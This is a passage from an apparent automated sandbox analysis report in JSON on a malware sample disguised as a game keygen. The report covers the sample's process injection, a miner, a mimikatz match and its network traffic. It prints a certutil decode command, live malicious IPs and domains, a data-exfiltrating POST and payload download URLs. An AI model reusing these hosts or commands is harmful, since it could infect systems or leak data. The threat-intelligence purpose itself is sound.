while the actual is CRC 1201424\n \"dwtrig20.exe\" claimed CRC 1100117 while the actual is CRC 907990\n \"setup.exe\" claimed CRC 1100117 while the actual is CRC 141869\n \"ose00000.exe\" claimed CRC 1100117 while the actual is CRC 433723","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"winupdate.exe\" has an entrypoint in section \".vmp1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$2f","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$30","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"certutil.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"WmiPrvSE.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")\n \"svchost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"Ld9D50.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"iexplore.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Uses certutil to decode a file (seen on targeted attacks)","description":"Process \"certutil.exe\" with commandline \"-DECODE stub.txt stub.exe\" (UID: 00015498-00003648)","origin":"Monitored Target","relevance":10,"id":"target-59","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the windows product ID","description":"\"WmiPrvSE.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTID\")","origin":"Registry Access","relevance":6,"id":"registry-5","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"55/61 Antivirus vendors marked sample as malicious (90% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"55/61 Antivirus vendors marked sample as malicious (90% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"56/66 Antivirus vendors marked dropped file \"stub.exe\" as malicious (classified as \"Gen:Trojan.Heur.FU\" with 84% detection rate)\n 68/88 Antivirus vendors marked dropped file \"winupdate.exe\" as malicious (classified as \"Riskware.Win64.BtcMine\" with 77% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"56/66 Antivirus vendors marked spawned process \"stub.exe\" (PID: 1464) as malicious (classified as \"Gen:Trojan.Heur.FU\" with 84% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00016201-00001264)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2017-10-17.14:55:46.337 (UID: 00016201-00001264)\n Injected into \"lsass.exe\" at 2017-10-17.14:55:57.123 (UID: 00017028-00000464)\n Injected into \"WmiPrvSE.exe\" at 2017-10-17.14:56:37.683 (UID: 00017335-00003752)\n Injected into \"svchost.exe\" at 2017-10-17.14:56:38.274 (UID: 00017394-00001132)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$31","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"94.242.240.198\" (ASN: , Owner: ): ...\n\n URL: http://94.242.240.198/gx1.exe (AV positives: 6/64 scanned on 10/06/2017 01:28:16)\n File SHA256: 57c58acac2c3dc6f92cda36758a042015808674df4f3bfaf3b53044afa433057 (AV positives: 50/66 scanned on 10/06/2017 01:28:20)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 146.185.253.127 on port 9990","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"mimikatz_lsass_mdmp\" matched process \"lsass.exe\" as \"LSASS minidump file for mimikatz\" based on indicators: \"System32\\lsass.exe\" (Author: Benjamin DELPY (gentilkiwi))","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtQuerySystemTime@ntdll.dll at 5582-1540-010C00ED","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$32","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into remote processes"},{"detail":"Spawns a lot of processes"},{"detail":"Injects into explorer"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows product ID"},{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}]},"activity":{"stats":{"process_count":13,"spawned_processes_count":13,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":27,"imported_dlls_count":125,"dropped_files_count":0,"extracted_files_count":26,"files_written_count":621,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":1,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["apt","miner","pua"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59e60bd37ca3e1122b33f946","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Neshta.A","contacted_countries":["LUX","RUS"],"submit_name":"pubg-keygen Oct. 2017 by robozak.exe","analysis_start_time":"2017-10-17T14:53:40+00:00","indicators_count":{"informative":28,"suspicious":39,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"146.185.253.127","port":9990,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"address":"94.242.240.198","port":80,"protocol":"TCP","country":"Luxembourg","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"dns_resolutions":[{"domain":"efg01.ru:9990","address":"146.185.253.127","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"domain":"efg01.ru","country":"-","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"http_requests":[{"host":"efg01.ru","host_ip":"146.185.253.127:9990","url":"/gx/order.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gx/order.php HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nContent-Length: 74485\nHost: efg01.ru:9990","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"host":"94.242.240.198","host_ip":"94.242.240.198:80","url":"/min1.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /min1.exe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0\nHost: 94.242.240.198","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}],"processes":[{"pid":3412,"ppid":0,"name":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","command_line":"","sha256":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c","normalized_path":"C:\\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","uid":"00014304-00003412","icon":"$33"},{"pid":3488,"ppid":3412,"name":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","command_line":"","normalized_path":"%TEMP%\\3582-490\\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","parent_uid":"00014304-00003412","uid":"00014422-00003488","icon":"$34"},{"pid":3608,"ppid":3488,"name":"svchost.com","command_line":"\"%TEMP%\\crypted.EXE\"","sha256":"0ae12f431168c92e6585d873b2f46ddbdb8559f23f68b8511733e4676f1c96da","normalized_path":"%WINDIR%\\svchost.com","parent_uid":"00014422-00003488","uid":"00015147-00003608","icon":"$35"},{"pid":3584,"ppid":3608,"name":"crypted.EXE","command_line":"","sha256":"e9bbc106f6abadc789864c5d6983fa515c83451c103620b2e1800e83c41a2db3","normalized_path":"%TEMP%\\crypted.EXE","parent_uid":"00015147-00003608","uid":"00015315-00003584","icon":"$36"},{"pid":3648,"ppid":3584,"name":"certutil.exe","command_line":"-DECODE stub.txt stub.exe","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%TEMP%\\IXP000.TMP\\certutil.exe","parent_uid":"00015315-00003584","uid":"00015498-00003648","icon":"$37"},{"pid":3728,"ppid":3584,"name":"stub.exe","command_line":"","sha256":"a23117786dbf7610fdec614d22706c902208bce9aeebf0693d63d25e6b69b4b1","normalized_path":"%TEMP%\\IXP000.TMP\\stub.exe","parent_uid":"00015315-00003584","uid":"00015719-00003728","icon":"$38"},{"pid":3680,"ppid":3728,"name":"svchost.com","command_line":"\"%TEMP%\\3582-490\\stub.exe\"","sha256":"0ae12f431168c92e6585d873b2f46ddbdb8559f23f68b8511733e4676f1c96da","normalized_path":"%WINDIR%\\svchost.com","parent_uid":"00015719-00003728","uid":"00015936-00003680","icon":"$39"},{"pid":1464,"ppid":3680,"name":"stub.exe","command_line":"","sha256":"57c58acac2c3dc6f92cda36758a042015808674df4f3bfaf3b53044afa433057","normalized_path":"%TEMP%\\3582-490\\stub.exe","parent_uid":"00015936-00003680","uid":"00016024-00001464","icon":"$3a"},{"pid":1264,"ppid":1464,"name":"explorer.exe","command_line":"","sha256":"0a8ce026714e03e72c619307bd598add5f9b639cfd91437cb8d9c847bf9f6894","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00016024-00001464","uid":"00016201-00001264","icon":"$3b"},{"pid":776,"ppid":1264,"name":"svchost.com","command_line":"\"%PROGRAMFILES%\\INTERN~1\\iexplore.exe\"","sha256":"0ae12f431168c92e6585d873b2f46ddbdb8559f23f68b8511733e4676f1c96da","normalized_path":"%WINDIR%\\svchost.com","parent_uid":"00016201-00001264","uid":"00025469-00000776","icon":"$3c"},{"pid":1780,"ppid":776,"name":"iexplore.exe","command_line":"%PROGRAMFILES%\\INTERN~1\\iexplore.exe","sha256":"e285feeca968b3ca22017a64363eea5e69ccd519696671df523291b089597875","normalized_path":"%PROGRAMFILES%\\Internet Explorer\\iexplore.exe","parent_uid":"00025469-00000776","uid":"00025645-00001780"},{"pid":3580,"ppid":3488,"name":"svchost.com","command_line":"\"%TEMP%\\RATEME~1.EXE\"","sha256":"0ae12f431168c92e6585d873b2f46ddbdb8559f23f68b8511733e4676f1c96da","normalized_path":"%WINDIR%\\svchost.com","parent_uid":"00014422-00003488","uid":"00015151-00003580","icon":"$3d"},{"pid":3660,"ppid":3580,"name":"RATEME?1.EXE","command_line":"","sha256":"63fb2d122563a01668e2b4661b1e40eaf1357fb4ef0945b03c573e580fb3778b","normalized_path":"%TEMP%\\RATEME~1.EXE","parent_uid":"00015151-00003580","uid":"00015323-00003660","icon":"$3e"}],"all_imported_dlls":["WSHTCPIP.DLL","ieproxy.dll","imm32.dll","uxtheme.dll","userenv.dll","webio.dll","IPHLPAPI.DLL","winnsi.dll","mscorwks.dll","rsaenh.dll","dwmapi.dll","msxml3r.dll","dhcpcsvc.dll","advapi32.dll","mscorjit.dll","wkscli.dll","devrtl.dll","oleacc.dll","rasapi32.dll","urlmon.dll","mscoreei.dll","mpr.dll","cryptbase.dll","feclient.dll","netutils.dll","pnrpnsp.dll","devobj.dll","bcrypt.dll","sfc.dll","lpk.dll","sechost.dll","comctl32.dll","ntmarta.dll","certcli.dll","psapi.dll","rasman.dll","NapiNSP.dll","propsys.dll","secur32.dll","npmproxy.dll","shlwapi.dll","rpcss.dll","wininet.dll","System.dll","sfc_os.dll","winhttp.dll","gdi32.dll","apphelp.dll","dsrole.dll","profapi.dll","msasn1.dll","System.Windows.Forms.dll","SensApi.dll","mswsock.dll","usp10.dll","msvcr80.dll","logoncli.dll","sqmapi.dll","xmllite.dll","url.dll","setupapi.dll","mscoree.dll","System.Runtime.Remoting.dll","msacm32.dll","msvcrt.dll","Wldap32.dll","crypt32.dll","ntdsapi.dll","kernel32.dll","comdlg32.dll","rtutils.dll","FWPUCLNT.DLL","atl.dll","msimg32.dll","KernelBase.dll","Accessibility.dll","msxml3.dll","dhcpcsvc6.dll","ole32.dll","clbcatq.dll","version.dll","advpack.dll","ws2_32.dll","dui70.dll","user32.dll","rasadhlp.dll","ONBTTN~1.DLL","ntdll.dll","ncrypt.dll","oleaccrc.dll","ieui.dll","wship6.dll","AcGenral.dll","netapi32.dll","srvcli.dll","ieframe.dll","dnsapi.dll","duser.dll","shell32.dll","rpcrt4.dll","mscorlib.dll","System.Drawing.dll","cryptsp.dll","iertutil.dll","netprofm.dll","Microsoft.VisualBasic.dll","nlaapi.dll","cryptui.dll","ONBttnIE.dll","oleaut32.dll","AcLayers.dll","winmm.dll","GdiPlus.dll","nsi.dll","winrnr.dll","RpcRtRemote.dll","msctf.dll","cfgmgr32.dll","cabinet.dll","ExplorerFrame.dll","mlang.dll","linkinfo.dll","sspicli.dll","samcli.dll","normaliz.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"stub.exe","sha256":"57c58acac2c3dc6f92cda36758a042015808674df4f3bfaf3b53044afa433057","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"winupdate.exe","sha256":"c1fee6f3375b891081fa9815c620ad8c1a80e3c62dccc7f24c5afee72cf3ddcd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"certutil.exe","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"install.vbs","sha256":"35153cd01cd731c2942915cdeb65cdfcfe6327ea2e3effafa60140686b9c9b94","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"stub.txt","sha256":"ea162c4ce71950730727065dce4cf73a972250f3f188a353e72d5b2446b7416a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"RATEME~1.EXE","sha256":"dba7436dbebbab4e7980a0bd7c173b8647a823d6f2549f774764bdd94e2d5133","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"RateMeApp.exe","sha256":"63fb2d122563a01668e2b4661b1e40eaf1357fb4ef0945b03c573e580fb3778b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"crypted.EXE","sha256":"928f481ecd79177a7c7c5679737d1a0e64b5c39731f4d0d9f823037106ba2e0f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"ose.exe","sha256":"dbab1c3924fe00636fa58aa2ac81c2e91bc98d4341d34f11d9371e433d915fd6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"RecoveryStore.{BB6EC233-B387-11E7-9047-0A0027019525}.dat","sha256":"231b989eb3795ad80d4436338a61f15907db675accd793794bf292915e50c2cd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"{BB6EC234-B387-11E7-9047-0A0027019525}.dat","sha256":"95434dab9329db73d4215c54bf24b7d779f44ab5eb58d8b3dd085b9981d97e4b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"frameiconcache.dat","sha256":"16e32c1113051425fae293b343c9adc538214608c7b9e0dc70022c19714e3ced","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","sha256":"846d6cf72bc86c569b09c55ada6ced00b0c6a67208caa114270f1d8b3d1e4623","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"Ld9D50.tmp","sha256":"699657686925400c3e48a6526f26c9564aa2a1dded28fb09f5b2be37ddb48fbd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"setup.bat","sha256":"002ac1db9698c13a5b99a9f4650f08ca6064108c54badc76859d284ba846329f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"start.bat","sha256":"25ebeec9a8a0a1e60d2274df4a8f8bc56187647c7b80b543955e14c008d58ce2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"start.vbs","sha256":"e556447e67f01786757023ac7c3a383e8f0778f82ac7955ac2684231bee39927","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"tmp5023.tmp","sha256":"66c9cb4442e62834a6cb847fc424b6b08ee2adb6b40773350d01505aa32f39d2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"directx.sys","sha256":"96a347b85ea3a9226398ffbf30f5dfb329fafe797546f1dc939abdd23d6805fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"svchost.com","sha256":"0ae12f431168c92e6585d873b2f46ddbdb8559f23f68b8511733e4676f1c96da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"3BDECB~1.EXE","sha256":"928784e8d247dc46de7a0e183f76a6cab5f4324ee49b151f3e5f4e4efd79de2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"DW20.EXE","sha256":"4bf29f91c88f4b80876f370c14349fc633ccb113d1abb03bf884b6e0897e42d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"dwtrig20.exe","sha256":"a90d99c693ac8559c31c9c41cfe33e5a56486716e42464d417766406de2882a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"setup.exe","sha256":"5738a635f05bee38ea1cbd30a2117de6ef5458c680d515167263f5a4ab9cff63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"ose00002.exe","sha256":"dbab1c3924fe00636fa58aa2ac81c2e91bc98d4341d34f11d9371e433d915fd6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"name":"ose00000.exe","sha256":"0ed803b4e79ecf117228331fef5aad9cb6bbd7466d1181e384915a868ee7ef29","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]}],"files_written":[{"path":"%TEMP%\\3582-490","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"C:\\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%TEMP%\\3582-490\\3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c.exe.config","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\marlett.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\arial.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\ariali.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\arialbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\arialbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\batang.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\cour.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\couri.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\courbd.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\courbi.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\daunpenh.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\dokchamp.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\estre.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\euphemia.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\gautami.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\gautamib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Vani.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\Vanib.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\gulim.ttc","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\impact.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WINDIR%\\Fonts\\iskpota.ttf","sources":[{"report_type":"sandbox","report_id":"59e60bd37ca3e1122b33f946"}]},{"path":"%WIN